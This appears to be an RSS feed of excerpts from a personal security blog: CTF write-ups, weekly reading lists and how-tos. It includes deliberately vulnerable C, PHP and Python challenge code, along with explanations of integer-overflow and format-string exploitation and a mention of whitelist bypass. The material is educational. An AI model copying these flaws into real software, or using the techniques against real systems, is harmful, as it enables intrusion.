&lt;p&gt;The Plague has traveled back in time to create a cryptocurrency before Satoshi does in an attempt to quickly gain the resources required for his empire. As you step out of your time machine, you learn his exchange has stopped trades, due to some sort of bug. However, if you could break into the database and show a different story of where the coins went, we might be able to stop The Plague.&lt;/p&gt;</description></item><item><title>Weekly Reading List for 4/4/14</title><link>https://systemoverlord.com/2014/04/04/weekly-reading-list-for-3114/</link><pubDate>Fri, 04 Apr 2014 07:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/04/04/weekly-reading-list-for-3114/</guid><description>&lt;p&gt;It&amp;rsquo;s been a while where I&amp;rsquo;ve been too busy even for any good reading, but we&amp;rsquo;re back to the reading lists!&lt;/p&gt;
&lt;h4 id="return-oriented-programming-rop"&gt;Return-Oriented Programming (ROP)&lt;/h4&gt;
&lt;p&gt;Code Arcana has an &lt;a href="http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html"&gt;excellent introduction to ROP exploitation techniques&lt;/a&gt;. In addition to providing an introduction to the concept, it takes it through detailed implementation and debugging. I look forward to getting an opportunity to try it during the next CTF with a ROP challenge. (I&amp;rsquo;m guess PlaidCTF will offer such a chance.)&lt;/p&gt;</description></item><item><title>Boston Key Party: Mind Your Ps and Qs</title><link>https://systemoverlord.com/2014/03/10/boston-key-party-mind-your-ps-and-qs/</link><pubDate>Mon, 10 Mar 2014 21:29:13 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/03/10/boston-key-party-mind-your-ps-and-qs/</guid><description>&lt;p&gt;About a week old, but I thought I&amp;rsquo;d put together a writeup for mind your Ps and Qs because I thought it was an interesting challenge.&lt;/p&gt;
&lt;p&gt;You are provided 24 RSA public keys and 24 messages, and the messages are encrypted using RSA-OAEP using the private components to the keys. The flag is spread around the 24 messages.&lt;/p&gt;
&lt;p&gt;So, we begin with an analysis of the problem. If they&amp;rsquo;re using RSA-OAEP, then we&amp;rsquo;re not going to attack the ciphertext directly. While RSA-OAEP might be vulnerable to timing attacks, we&amp;rsquo;re not on a network service, and there are no known ciphertext-only attacks on RSA-OAEP. So how are the keys themselves? Looking at them, we have a ~1024 bit modulus:&lt;/p&gt;</description></item><item><title>Integer Overflow Vulnerabilities</title><link>https://systemoverlord.com/2014/02/27/integer-overflow-vulnerabilities/</link><pubDate>Thu, 27 Feb 2014 04:01:07 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/02/27/integer-overflow-vulnerabilities/</guid><description>&lt;p&gt;What&amp;rsquo;s wrong with this code (other than the fact the messages are discarded)?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!c
void read_messages(int fd, int num_msgs) {
 char buf[1024];
 size_t msg_len, bytes_read = 0;

 while(num_msgs--) {
 read(fd, &amp;amp;msg_len, sizeof(size_t));
 if (bytes_read + msg_len &amp;gt; sizeof(buf)) {
 printf(&amp;quot;Buffer overflow prevented!\n&amp;quot;);
 return;
 }
 bytes_read += read(fd, buf+bytes_read, msg_len);
 }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you answered &amp;ldquo;nothing&amp;rdquo;, you&amp;rsquo;d be missing a significant security issue. In fact, this function contains a trivial buffer overflow. By supplying a length &lt;code&gt;0 &amp;lt; len_a &amp;lt; 1024&lt;/code&gt; for the first message, then a length &lt;code&gt; INT_MAX-len_a ≤ len_b &amp;lt; UINT_MAX&lt;/code&gt;, the value &lt;code&gt;bytes_read + msg_len&lt;/code&gt; wraps around past &lt;code&gt;UINT_MAX&lt;/code&gt; and is less than &lt;code&gt;sizeof(buf)&lt;/code&gt;. Then the read proceeds with its very large value, but can only read as much data as is available on the file descriptor (probably a socket, if this is a remote exploit). So by supplying enough data on the socket, the buffer will be overflowed, allowing to overwrite the saved EIP.&lt;/p&gt;</description></item><item><title>Codegate 2014 Quals: 120</title><link>https://systemoverlord.com/2014/02/26/codegate-2014-quals-120/</link><pubDate>Wed, 26 Feb 2014 06:51:10 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/02/26/codegate-2014-quals-120/</guid><description>&lt;p&gt;From Codegate 2014 quals comes &amp;ldquo;120&amp;rdquo;. Provided is a web interface with a single text box and a link to the source, reproduced below:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!php
&amp;lt;?php
session_start();

$link = @mysql_connect('localhost', '', '');
@mysql_select_db('', $link);

function RandomString()
{
 $filename = &amp;quot;smash.txt&amp;quot;;
 $f = fopen($filename, &amp;quot;r&amp;quot;);
 $len = filesize($filename);
 $contents = fread($f, $len);
 $randstring = '';
 while( strlen($randstring)&amp;lt;30 ){
 $t = $contents[rand(0, $len-1)];
 if(ctype_lower($t)){
 $randstring .= $t;
 }
 }
 return $randstring;
}

$max_times = 120;

if ($_SESSION['cnt'] &amp;gt; $max_times){
 unset($_SESSION['cnt']);
}

if ( !isset($_SESSION['cnt'])){
 $_SESSION['cnt']=0;
 $_SESSION['password']=RandomString();

 $query = &amp;quot;delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'&amp;quot;;
 @mysql_query($query);

 $query = &amp;quot;insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', &amp;quot;.
 &amp;quot;'$_SESSION[password]')&amp;quot;;
 @mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt']++;

if ( $_POST['password'] ){
 
 if (eregi(&amp;quot;replace|load|information|union|select|from|where|&amp;quot; .
 &amp;quot;limit|offset|order|by|ip|\.|#|-|/|\*&amp;quot;,$_POST['password'])){
 @mysql_close($link);
 exit(&amp;quot;Wrong access&amp;quot;);
 }

 $query = &amp;quot;select * from rms_120_pw where &amp;quot;.
 &amp;quot;(ip='$_SERVER[REMOTE_ADDR]') and &amp;quot; .
 &amp;quot;(password='$_POST[password]')&amp;quot;;
 $q = @mysql_query($query);
 $res = @mysql_fetch_array($q);
 if($res['ip']==$_SERVER['REMOTE_ADDR']){
 @mysql_close($link);
 exit(&amp;quot;True&amp;quot;);
 }
 else{
 @mysql_close($link);
 exit(&amp;quot;False&amp;quot;);
 }
}

@mysql_close($link);
?&amp;gt;

&amp;lt;head&amp;gt;
&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;black.css&amp;quot;&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;form method=post action=index.php&amp;gt;
 &amp;lt;h1&amp;gt; &amp;lt;?= $left_count ?&amp;gt; times left &amp;lt;/h1&amp;gt;
 &amp;lt;div class=&amp;quot;inset&amp;quot;&amp;gt;
 &amp;lt;p&amp;gt;
 &amp;lt;label for=&amp;quot;password&amp;quot;&amp;gt;PASSWORD&amp;lt;/label&amp;gt;
 &amp;lt;input type=&amp;quot;password&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; &amp;gt;
 &amp;lt;/p&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;p class=&amp;quot;p-container&amp;quot;&amp;gt;
 &amp;lt;span onclick=location.href=&amp;quot;auth.php&amp;quot;&amp;gt; Auth &amp;lt;/span&amp;gt;
 &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Check&amp;quot;&amp;gt;
 &amp;lt;/p&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The TL;DR of this code is that it uses your PHP session to store a 30 character lowercase letter token, and a counter of how many tries you&amp;rsquo;ve made against it. You&amp;rsquo;re given 120 total tries, then a new code will be generated, meaning any data you&amp;rsquo;ve been able to glean is useless. For what it&amp;rsquo;s worth, not all letters are equally likely &amp;ndash; the source of the data is Aleph One&amp;rsquo;s &amp;ldquo;Smashing the Stack for Fun and Profit.&amp;rdquo; The code contains a blacklist to protect against certain types of SQL injection, but certainly doesn&amp;rsquo;t cover all SQL injection possibilities.&lt;/p&gt;</description></item><item><title>Weekly Reading List for 2/15/14</title><link>https://systemoverlord.com/2014/02/15/weekly-reading-list-for-21514/</link><pubDate>Sat, 15 Feb 2014 18:20:25 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/02/15/weekly-reading-list-for-21514/</guid><description>&lt;p&gt;I&amp;rsquo;ve been thinking a lot about social engineering lately, so I&amp;rsquo;m going to highlight some of my favorite social engineering resources.&lt;/p&gt;
&lt;h4 id="social-engineering-the-art-of-human-hacking"&gt;Social Engineering: The Art of Human Hacking&lt;/h4&gt;
&lt;p&gt;Chris Hadnagy&amp;rsquo;s book, &lt;a href="http://www.amazon.com/gp/product/0470639539/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0470639539&amp;amp;linkCode=as2&amp;amp;tag=systemovecom-20"&gt;Social Engineering: The Art of Human Hacking&lt;/a&gt; is the authoritative guide on social engineering techniques and counter-measures. Chris describes many of the techniques and approaches used by social engineers, ranging from basic pretexting to full-on neuro-linguistic programming. You can&amp;rsquo;t protect against what you can&amp;rsquo;t recognize, so being able to identify the techniques of social engineering is the first step to protecting yourself and your organization.&lt;/p&gt;</description></item><item><title>printf Format String Exploitation</title><link>https://systemoverlord.com/2014/02/12/printf-format-string-exploitation/</link><pubDate>Wed, 12 Feb 2014 07:16:01 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/02/12/printf-format-string-exploitation/</guid><description>&lt;p&gt;The format string in a printf statement is responsible for significant flow control within the program, and, if attacker-controlled, can be used to exploit the application in various ways. Specifically, an attacker can read and write arbitrary memory.&lt;/p&gt;
&lt;p&gt;Reading memory can be accomplished through the usual operators, and the GNU extension of &lt;code&gt;%&amp;lt;x&amp;gt;$&lt;/code&gt; allows you to jump through the stack to arbitrary positions (as a multiple of the addressing size, anyway). The %n format specifier allows to write to a memory address: the address at that point on the stack is taken as an int *, and the number of bytes output so far will be written to the address. So this allows us to write a value by outputting the number of bytes for the value we want to write.&lt;/p&gt;</description></item><item><title>Weekly Reading List for 2/8/14</title><link>https://systemoverlord.com/2014/02/08/weekly-reading-list-for-2814/</link><pubDate>Sat, 08 Feb 2014 08:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/02/08/weekly-reading-list-for-2814/</guid><description>&lt;h4 id="android-pentesting-guides"&gt;Android Pentesting Guides&lt;/h4&gt;
&lt;p&gt;I&amp;rsquo;ve been reading a lot about Android pentesting this week, so rather than summarizing each one, here&amp;rsquo;s a list of useful reading for Android pentesting.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.symantec.com/connect/blogs/android-application-security-assessments-part-2-setting-your-linux-testing-environment"&gt;Android Application Security Assessments&lt;/a&gt; from Symantec&lt;/li&gt;
&lt;li&gt;&lt;a href="http://penturalabs.wordpress.com/2012/06/07/introduction-to-pen-testing-android-applications-part-1/"&gt;Introduction to Pentesting Android Applications&lt;/a&gt; from Pentura Labs&lt;/li&gt;
&lt;li&gt;AppSec Labs offers the &lt;a href="https://appsec-labs.com/AppUse"&gt;AppUse Virtual Machine&lt;/a&gt; for Android Pentesting&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="useful-lab-settings"&gt;Useful Lab Settings&lt;/h4&gt;
&lt;p&gt;Maybe you want to test something with an executable stack, ASLR off, or otherwise disable some security feature? &lt;a href="http://www.win.tue.nl/~aeb/linux/hh/protection.html"&gt;This article&lt;/a&gt; describes settings for NX, ASLR, and SSP on Linux boxes. More details &lt;a href="http://raycompstuff.blogspot.com/2010/09/hacks-tutorial-zero.html"&gt;here&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Weekly Reading List for 2/1/14</title><link>https://systemoverlord.com/2014/02/01/weekly-reading-list-for-2114/</link><pubDate>Sat, 01 Feb 2014 08:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/02/01/weekly-reading-list-for-2114/</guid><description>&lt;h4 id="previews-for-bsides-sf-2014"&gt;Previews for BSides SF 2014&lt;/h4&gt;
&lt;p&gt;A couple of new articles have been posted with previews of this year&amp;rsquo;s BSides San Francisco. Akamai has a &lt;a href="https://blogs.akamai.com/2014/01/a-preview-of-bsidessf.html"&gt;preview of several talks&lt;/a&gt; and Tripwire previews a &lt;a href="http://www.tripwire.com/state-of-security/vulnerability-management/bsidessf-preview-day-life-security-researcher/"&gt;day in the life of an information security researcher&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="application-whitelist-bypass"&gt;Application Whitelist Bypass&lt;/h4&gt;
&lt;p&gt;@infosecsmith2 guest posts over at Room362 about using &lt;a href="http://www.room362.com/blog/2014/01/16/application-whitelist-bypass-using-ieexec-dot-exe/"&gt;IEexec.exe to bypass application whitelisting&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="custom-wordlists"&gt;Custom Wordlists&lt;/h4&gt;
&lt;p&gt;Chief Monkey over at IT Security Toolbox &lt;a href="http://it.toolbox.com/blogs/securitymonkey/from-the-toolkit-create-your-own-wordlists-from-anything-58748"&gt;reports on a tool called SmeegeScrape&lt;/a&gt; that allows you to build a wordlist from the contents of a system. He reports on it in the context of a forensics task, but it seems like it would be a great option for penetration testing as well.&lt;/p&gt;</description></item><item><title>Weekly Reading List for 1/25/14</title><link>https://systemoverlord.com/2014/01/25/weekly-reading-list-for-12514/</link><pubDate>Sat, 25 Jan 2014 08:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/01/25/weekly-reading-list-for-12514/</guid><description>&lt;p&gt;This week, we&amp;rsquo;re focusing on binary exploitation and reversing. (Thanks to Ghost in the Shellcode for making me feel stupid with all their binary pwning challenges!)&lt;/p&gt;
&lt;h4 id="basic-shellcode-examples"&gt;Basic Shellcode Examples&lt;/h4&gt;
&lt;p&gt;Gal Badishi has a great set of &lt;a href="https://badishi.com/basic-shellcode-example/"&gt;Basic Shellcode Examples&lt;/a&gt;. It&amp;rsquo;s almost two years old, but a good primer into how basic shellcode works. x86 hasn&amp;rsquo;t changed (yes, I&amp;rsquo;m ignoring x64 for now), so still quite a relevant resource for those of us who have leaned on msfvenom/msfpayload for our payload needs.&lt;/p&gt;</description></item><item><title>Ghost in the Shellcode 2014</title><link>https://systemoverlord.com/2014/01/21/ghost-in-the-shellcode-2014/</link><pubDate>Tue, 21 Jan 2014 04:57:33 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/01/21/ghost-in-the-shellcode-2014/</guid><description>&lt;p&gt;A quick Ghost in the Shellcode 2014 summary. Great CTF, but you better know your binary exploitation. I&amp;rsquo;m pretty happy with the overall 27th finish Shadow Cats managed. Here&amp;rsquo;s a summary of our team writeups, the first 3 by me, the last one by Dan.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://systemoverlord.com/2014/01/19/ghost-in-the-shellcode-2014-radioactive/"&gt;Radioactive&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://systemoverlord.com/2014/01/19/ghost-in-the-shellcode-2014-lugkist/"&gt;Lugkist&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://systemoverlord.com/2014/01/19/ghost-in-the-shellcode-2014-pillowtalk/"&gt;Pillowtalk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://lockboxx.blogspot.com/2014/01/ghost-in-shellcode-2014-ctf-writeup.html"&gt;Unbearable&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Ghost in the Shellcode 2014: Radioactive</title><link>https://systemoverlord.com/2014/01/19/ghost-in-the-shellcode-2014-radioactive/</link><pubDate>Sun, 19 Jan 2014 20:21:46 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/01/19/ghost-in-the-shellcode-2014-radioactive/</guid><description>&lt;p&gt;Radioactive was a crypto challenge that executed arbitrary python code, if you could apply a correct cryptographic tag. Source was provided, and the handler is below:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!python
class RadioactiveHandler(SocketServer.BaseRequestHandler):
 def handle(self):
 key = open(&amp;quot;secret&amp;quot;, &amp;quot;rb&amp;quot;).read()
 cipher = AES.new(key, AES.MODE_ECB)

 self.request.send(&amp;quot;Waiting for command:\n&amp;quot;)
 tag, command = self.request.recv(1024).strip().split(':')
 command = binascii.a2b_base64(command)
 pad = &amp;quot;\x00&amp;quot; * (16 - (len(command) % 16))
 command += pad

 blocks = [command[x:x+16] for x in xrange(0, len(command), 16)]
 cts = [str_to_bytes(cipher.encrypt(block)) for block in blocks]
 for block in cts:
 print ''.join(chr(x) for x in block).encode('hex')

 command = command[:-len(pad)]

 t = reduce(lambda x, y: [xx^yy for xx, yy in zip(x, y)], cts)
 t = ''.join([chr(x) for x in t]).encode('hex')

 match = True
 print tag, t
 for i, j in zip(tag, t):
 if i != j:
 match = False

 del key
 del cipher

 if not match:
 self.request.send(&amp;quot;Checks failed!\n&amp;quot;)
 eval(compile(command, &amp;quot;script&amp;quot;, &amp;quot;exec&amp;quot;))

 return
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, it looks for a tag:command pair, where the tag is hex-encoded and the command is base64 encode. The command must be valid python, passed through compile and eval, so you&amp;rsquo;ll need to send a response back to yourself via self.request.send.&lt;/p&gt;</description></item><item><title>Ghost in the Shellcode 2014: Lugkist</title><link>https://systemoverlord.com/2014/01/19/ghost-in-the-shellcode-2014-lugkist/</link><pubDate>Sun, 19 Jan 2014 19:43:56 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/01/19/ghost-in-the-shellcode-2014-lugkist/</guid><description>&lt;p&gt;Lugkist was an interesting &amp;ldquo;trivia&amp;rdquo; challenge. We were told &amp;ldquo;it&amp;rsquo;s not crypto&amp;rdquo;, but it sure looked like a crypto challenge. We had a file like:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Find the key.&lt;/p&gt;
&lt;p&gt;GVZSNG&lt;br&gt;
AXZIOG&lt;br&gt;
YNAISG&lt;br&gt;
ASAIUG&lt;br&gt;
IVPIOK&lt;br&gt;
AXPIVG&lt;br&gt;
PVZIUG&lt;br&gt;
AXLIEG&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Always 6 letters, but no other obvious pattern. I did notice that the 4th character always was S or I and the final character G or K, but couldn&amp;rsquo;t make anything of that. I realized the full character set was &amp;lsquo;AEGIKLONPSUTVYXZ&amp;rsquo;. Searching for this string revealed nothing, but searching for the characters space separated revealed that this was the same character set as used by the codes for the original Game Genie. And Game Genie codes were 6 characters long.&lt;/p&gt;</description></item><item><title>Ghost in the Shellcode 2014: Pillowtalk</title><link>https://systemoverlord.com/2014/01/19/ghost-in-the-shellcode-2014-pillowtalk/</link><pubDate>Sun, 19 Jan 2014 19:11:27 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/01/19/ghost-in-the-shellcode-2014-pillowtalk/</guid><description>&lt;p&gt;Pillowtalk was a 200 point crypto challenge. Provided was a stripped 64-bit binary along with a pcap file. I started off by exercising the behavior of the binary, looking at system calls/library calls to see what it was doing.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Client connects to server&lt;/li&gt;
&lt;li&gt;Server reads 32 bytes from /dev/urandom&lt;/li&gt;
&lt;li&gt;Server sends 32 bytes on the wire (not same bytes as read from /dev/urandom)&lt;/li&gt;
&lt;li&gt;Client does same 32 byte read/send&lt;/li&gt;
&lt;li&gt;Loop:
&lt;ul&gt;
&lt;li&gt;Server reads a line from stdin&lt;/li&gt;
&lt;li&gt;Server sends 4 byte length&lt;/li&gt;
&lt;li&gt;Server sends encrypted line&lt;/li&gt;
&lt;li&gt;Client does the same steps&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My first approach was by trying to use scapy to replay the pcap to the server, but this only gave complete noise, so I decided the two 32 byte values must be significant. I even tried controlling /dev/urandom (via LD_PRELOAD) to see if putting in the 32 bytes from the pcap would get to the right key. It didn&amp;rsquo;t.&lt;/p&gt;</description></item><item><title>Weekly Reading List for 1/18/14</title><link>https://systemoverlord.com/2014/01/18/weekly-reading-list-for-11714/</link><pubDate>Sat, 18 Jan 2014 05:00:00 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/01/18/weekly-reading-list-for-11714/</guid><description>&lt;p&gt;I&amp;rsquo;ve decided to start posting a weekly reading list of interesting security-related articles I&amp;rsquo;ve come across in the past week. They&amp;rsquo;re not guaranteed to be new, but should at least still be relevant.&lt;/p&gt;
&lt;h4 id="using-a-beaglebone-to-bypass-8021x"&gt;Using a BeagleBone to bypass 802.1x&lt;/h4&gt;
&lt;p&gt;Most security practitioners are already aware that NAC doesn&amp;rsquo;t provide meaningful security. While it&amp;rsquo;ll keep some random guy from plugging in to an exposed ethernet port in the lobby (shouldn&amp;rsquo;t that be turned off?), it won&amp;rsquo;t stop a determined attacker. You can just MITM the legitimate device, let it perform the 802.1x handshake, then send packets appearing to be from the legitimate device. To make it easier, &lt;a href="http://shellsherpa.nl/nac-bypass-8021x-or-beagle-in-the-middle"&gt;ShellSherpa has put together a BeagleBone-based device to automatically MITM the NAC connection&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>LD_PRELOAD for Binary Analysis</title><link>https://systemoverlord.com/2014/01/13/ld_preload-for-binary-analysis/</link><pubDate>Mon, 13 Jan 2014 02:18:16 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/01/13/ld_preload-for-binary-analysis/</guid><description>&lt;p&gt;During the BreakIn CTF, there were a few challenges that depended on the return value of of libc functions like &lt;code&gt;time()&lt;/code&gt; or &lt;code&gt;rand()&lt;/code&gt;, and had differing behavior depending on those return values. In order to more easily reverse those binaries, it can be nice to control the return values of those functions. In other cases, you have binaries that may call functions like &lt;code&gt;unlink()&lt;/code&gt;, &lt;code&gt;system()&lt;/code&gt;, etc., where you prefer not to have those functions really called. (Though you are running these untrusted binaries in a VM, right?)&lt;/p&gt;</description></item><item><title>BreakIn CTF 2014</title><link>https://systemoverlord.com/2014/01/13/breakin-ctf-2014/</link><pubDate>Mon, 13 Jan 2014 01:20:08 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2014/01/13/breakin-ctf-2014/</guid><description>&lt;p&gt;The &lt;a href="http://felicity.iiit.ac.in/threads/breakin"&gt;Threads BreakIn CTF&lt;/a&gt; hosted by IIIT Hyderabad has just wrapped up. Shadow Cats did pretty well, placing 16th overall, completing 22/33 challenges, especially considering we only had 2 guys playing this CTF. Mad props goes out to &lt;a href="http://lockboxx.blogspot.com/"&gt;Dan&lt;/a&gt;, and here&amp;rsquo;s hoping for a bigger team turnout next week for &lt;a href="http://ghostintheshellcode.com/"&gt;Ghost in the Shellcode&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m going to be doing some writeups of a couple of the challenges I thought were particularly interesting, as well as some topical information inspired by the CTF. I&amp;rsquo;ll be linking to the writeups below as they get published.&lt;/p&gt;</description></item><item><title>DerbyCon CTF</title><link>https://systemoverlord.com/2013/09/29/derbycon-ctf/</link><pubDate>Sun, 29 Sep 2013 22:38:19 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2013/09/29/derbycon-ctf/</guid><description>&lt;p&gt;While at Derbycon last weekend, I played in the Derbycon Capture the Flag (CTF). I played with some people from the DefCon Group back in Atlanta (DC404) &amp;ndash; and we had a great team and that lead to a 5th place finish out of more than 80 teams with points on the board. Big shout out to Michael (@decreasedsales), Aaron (@aaronmelton), Dan (@alltrueic), and all the others who helped out.&lt;/p&gt;</description></item><item><title>A Career Plan</title><link>https://systemoverlord.com/2011/11/07/a-career-plan/</link><pubDate>Mon, 07 Nov 2011 05:01:17 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2011/11/07/a-career-plan/</guid><description>&lt;p&gt;
	I've made several career plans for myself before, but I don't think I've ever done it in a formal manner.  I've never said to myself "I should make a career plan" until I was sitting in Martin Fisher's "How to Hack the Career Development Life Cycle" at B-Sides Atlanta.  It had always been more of a "I want to do this, so first I need to learn this technology" kind of mentality.  However, Martin's talk really made me think.  In some ways, it was sort of unsettling, but I think it can be unsettling anytime you start to really think about the direction your life is going.  I had a sort of "life passing me by" feeling by the end of the presentation (through no fault of his -- it was a great presentation, with some great takeaways.)  I'm hoping making myself this transparent doesn't come back to bite me later, but I'm also hoping that this transparency might get me some feedback from my more experienced readers.  (Insert "what readers?" joke here.)&lt;/p&gt;</description></item><item><title>Martian Packet Messages</title><link>https://systemoverlord.com/2011/11/06/martian-packet-messages/</link><pubDate>Sun, 06 Nov 2011 02:36:13 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2011/11/06/martian-packet-messages/</guid><description>&lt;p&gt;
	Occasionally, you might see messages like the following in your Linux kernel messages:&lt;/p&gt;
&lt;blockquote&gt;&lt;div class="geshifilter"&gt;
&lt;div class="text geshifilter-text" style="font-family:monospace;"&gt;
&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal"&gt;martian source 192.168.1.1 from 127.0.0.1, on dev eth1&amp;lt;br /&amp;gt;
        ll header: 52:54:00:98:99:d0:52:54:00:de:d8:10:08:00 &lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;p&gt;
	There's a lot of discussion out there about what this means, but not a lot about how to trace down the source.  Hopefully this will provide some insight into what the messages actually mean, and how to understand them.&lt;/p&gt;</description></item><item><title>Git On Your Web Server: A Security Reminder</title><link>https://systemoverlord.com/2011/08/31/git-on-your-web-server-a-security-reminder/</link><pubDate>Wed, 31 Aug 2011 22:53:21 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2011/08/31/git-on-your-web-server-a-security-reminder/</guid><description>&lt;p&gt;
	Earlier this month, I wrote about &lt;a href="https://systemoverlord.com/2011/08/04/managing-drupal-with-git"&gt;managing a Drupal site with git&lt;/a&gt;.  What I neglected to remember, of course, is this places a full copy of your git repository within your web server's document root.  This has the potential to expose any data in your git repository -- a malicious attacker could (depending on your configuration) clone the entire repository, thus exposing source code, configuration files, database dumps, and other sensitive data.&lt;/p&gt;</description></item><item><title>GnuPG: The What and the Why (For Me, Anyway)</title><link>https://systemoverlord.com/2011/02/28/gnupg-the-what-and-the-why-for-me-anyway/</link><pubDate>Mon, 28 Feb 2011 07:05:11 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2011/02/28/gnupg-the-what-and-the-why-for-me-anyway/</guid><description>&lt;p&gt;I'm a big advocate of &lt;a href="http://gnupg.org/"&gt;GnuPG&lt;/a&gt;, the Free implementation of the OpenPGP standard.  I've even recently begun to use a smart card for storing my keys.  I've also answered some questions about why I do this, so I thought I'd write about it here.  Put simply: the Bill of Rights is important to me.  My privacy is important to me.  Security is important to me.  OpenPGP can help me protect the things that are important to me.&lt;/p&gt;</description></item><item><title>SSH across a Layer 7 Filter</title><link>https://systemoverlord.com/2011/02/19/ssh-across-a-layer-7-filter/</link><pubDate>Sat, 19 Feb 2011 03:14:50 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2011/02/19/ssh-across-a-layer-7-filter/</guid><description>&lt;p&gt;Every once in a while, I find myself in a situation behind some sort of device that filters a lot of traffic.  Most often, it's on my laptop at some facility (e.g., coffee shop) that only allows HTTP/HTTPS out.  For a while, I just listened for SSH traffic on port 443 (HTTPS) to connect through port-based firewalls.  However, a few times now I've seen a connection reset immediately after the SSH handshake started (during the protocol&amp;amp;cipher negotation).  Looking at them through WireShark made it obvious it wasn't a server or client problem, but some intermediate device sending a RST.&lt;/p&gt;</description></item><item><title>Why the risk of running as root is overblown</title><link>https://systemoverlord.com/2010/07/31/why-the-risk-of-running-as-root-is-overblown/</link><pubDate>Sat, 31 Jul 2010 01:37:46 +0000</pubDate><author>david@systemoverlord.com (David Tomaschik)</author><guid>https://systemoverlord.com/2010/07/31/why-the-risk-of-running-as-root-is-overblown/</guid><description>&lt;p&gt;&lt;strong&gt;Please Note: This is only relevant to single-user desktop installations of Linux. The issues I will discuss here don't apply to servers. In fact, the exact opposite applies there.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;"Don't run as root" is an oft-repeated mantra of *nix security. While I agree &lt;strong&gt;100%&lt;/strong&gt;, it's not as big on the desktop as some would think. I'd like to point out why here. I still believe you shouldn't login as root, but I also believe that it's up to each user to make their own decision.&lt;/p&gt;</description></item></channel></rss>